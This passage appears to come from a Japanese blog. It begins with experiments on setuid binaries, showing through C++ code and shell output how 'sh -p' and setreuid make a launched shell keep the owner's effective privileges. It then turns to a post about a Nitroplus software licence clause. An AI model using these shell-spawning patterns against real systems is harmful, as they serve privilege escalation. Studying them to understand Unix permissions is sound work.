uid=500(kusano) gid=500(kusano) groups=500(kusano),10(wheel)
sh-4.1$ exit
exit
[kusano@hoge suid]$ g++ test2.cpp; sudo chown kusano2: a.out; sudo chmod u+s a.out; ./a.out
sh-4.1$ id
uid=500(kusano) gid=500(kusano) groups=500(kusano),10(wheel)
sh-4.1$ exit
exit

ユーザーIDには実ユーザーIDと実効ユーザーIDがあり、setuidビットを立てたプログラムは、実効ユーザーIDはファイルの所有者になるが、実ユーザーIDはプログラムを実行したユーザーとなる。/bin/shは起動時に実効ユーザーIDと実ユーザーIDが一致しているか調べ、一致していなかったら実効ユーザーIDを実ユーザーIDに変えてしまう。-pオプションを付けることでこの動作を抑制できる。このようにして起動したシェルは実ユーザーIDはkusanoだが、実効ユーザーがkusano2なのでkuasno2の権限でファイル操作などができる。ただし、実ユーザーIDはkusanoなので、さらにシェルを起動すると実効ユーザーIDもkusanoになる。

//  test3.cpp
#include <stdlib.h>
#include <unistd.h>

int main()
{
    execl("/bin/sh", "/bin/sh", "-p", NULL);
}
[kusano@hoge suid]$ g++ test3.cpp; sudo chown kusano2: a.out; sudo chmod u+s a.out; ./a.out
sh-4.1$ id
uid=500(kusano) gid=500(kusano) euid=506(kusano2) groups=507(kusano2),10(wheel),500(kusano)
sh-4.1$ touch hoge
sh-4.1$ ls -l hoge
-rw-rw-r-- 1 kusano2 kusano 0 Aug  3 15:54 hoge
sh-4.1$ sh
sh-4.1$ id
uid=500(kusano) gid=500(kusano) groups=500(kusano),10(wheel)

system関数ではうまくいかない。

//  test4.cpp
#include <stdlib.h>
#include <unistd.h>

int main()
{
    system("/bin/sh -p");
}
[kusano@hoge suid]$ g++ test4.cpp; sudo chown kusano2: a.out; sudo chmod u+s a.out; ./a.out
sh-4.1$ id
uid=500(kusano) gid=500(kusano) groups=500(kusano),10(wheel)
sh-4.1$ exit
exit

system関数では/bin/sh -cに引数の文字列を渡してコマンドを実行しているから。

//  test5.cpp
#include <stdlib.h>
#include <unistd.h>

int main()
{
    system("/usr/bin/id");
}
//  test6.cpp
#include <stdlib.h>
#include <unistd.h>

int main()
{
    execl("/usr/bin/id", "/usr/bin/id", NULL);
}
[kusano@hoge suid]$ g++ test5.cpp; sudo chown kusano2: a.out; sudo chmod u+s a.out; ./a.out
uid=500(kusano) gid=500(kusano) groups=500(kusano),10(wheel)
[kusano@hoge suid]$ g++ test6.cpp; sudo chown kusano2: a.out; sudo chmod u+s a.out; ./a.out
uid=500(kusano) gid=500(kusano) euid=506(kusano2) groups=507(kusano2),10(wheel),500(kusano)

systemでもkusano2で動かすためには、実ユーザーIDを実効ユーザーIDにすれば良い。ただし、下記のようにsetuid(geteuid())ではダメ。

//  test7.cpp
#include <stdlib.h>
#include <unistd.h>

int main()
{
    setuid(geteuid());
    system("/bin/sh");
}
[kusano@hoge suid]$ g++ test7.cpp; sudo chown kusano2: a.out; sudo chmod u+s a.out; ./a.out
sh-4.1$ id
uid=500(kusano) gid=500(kusano) groups=500(kusano),10(wheel)

setuidのマニュアルに書いてあるように、setuidは0(root)が指定された場合には実ユーザーIDも変更するが、それ以外のユーザーでは実効ユーザーしか変更しないため。setreuidならば実ユーザーIDを変更できる。この場合は、起動したシェルの中でさらシェルを立ち上げてもユーザーIDは変化しない。

//  test8.cpp
#include <stdlib.h>
#include <unistd.h>

int main()
{
    setreuid(geteuid(), -1);
    system("/bin/sh");
}
[kusano@hoge suid]$ g++ test8.cpp; sudo chown kusano2: a.out; sudo chmod u+s a.out; ./a.out
sh-4.1$ id
uid=506(kusano2) gid=500(kusano) groups=507(kusano2),10(wheel),500(kusano)
sh-4.1$ sh
sh-4.1$ id
uid=506(kusano2) gid=500(kusano) groups=507(kusano2),10(wheel),500(kusano)

ニトロプラスのソフトウェア利用許諾契約書

沙耶の唄のベスト版をプレイした。面白かった。5時間くらいで終わるし安いしオススメ。
ゲームをインストールするにあたり、使用許諾契約書を読んだら、気になる条項があった。

第5条(契約の終了)
  1. 弊社は、お客様が本契約のいずれかの条項に違反したときは、事前の通告をしないで本契約を終了させることができます。
  2. お客様が本ソフトウェアの使用を中止した場合、本契約は自動的に終了するものといたします。
  3. 本契約が終了した場合、お客様は、本契約が終了した日から1ヶ月以内に、本ソフトウェアおよび全ての複製物を破棄していただくものとします。
http://www.nitroplus.co.jp/pc/support/downloadfiles/sayanouta_manual.pdf#page=4

ソフトウェアの使用を中止する → 契約が終了する → ソフトウェアの破棄
らしい((((((;゚Д゚))))))
STEINS;GATEのマニュアルには同じ契約書が載っていた。天使ノ二丁拳銃、斬魔大聖デモンベイン、スマガのマニュアルには使用許諾契約書が無かった。確認していないけどインストール時には出るかもしれない。
遊び終わってアンインストールしてもまた遊びたくなるときがあるし、これはひどい……と思ってサポートに問い合わせてみた。
「本ソフトウェアの使用を中止」というのは「ソフトウェアを今後使用する意思を完全に持ちえなくなったとき」であって、アンインストールしたくらいではソフトウェアの使用の中止には当たらないらしい。安心した。こんなグロゲー二度とプレイしねーよという人はちゃんとソフトウェアを破棄しましょう。

安心したが、契約がユーザーの意思で一方的に破棄できて、ニトロプラスは困らないのだろうか? 例えば、

第4条(責任の範囲)

3. 弊社は、本ソフトウェアの使用又は使用不能からお客様又は第三者に生じた損害に関して、いかなる責任も負担しません。
4. 弊社の賠償責任は、いかなる場合においても本ソフトウェアの購入代金としてお客様が実際に支払った金額を限度とします。

http://www.nitroplus.co.jp/pc/support/downloadfiles/sayanouta_manual.pdf#page=4

この辺とかは、「もう二度と使用しない」と思い契約を破棄することで、ユーザーにとって有利になりそう。まあ、マニュアルに書いてあるだけの契約書が有効かどうかという話はありそうけど。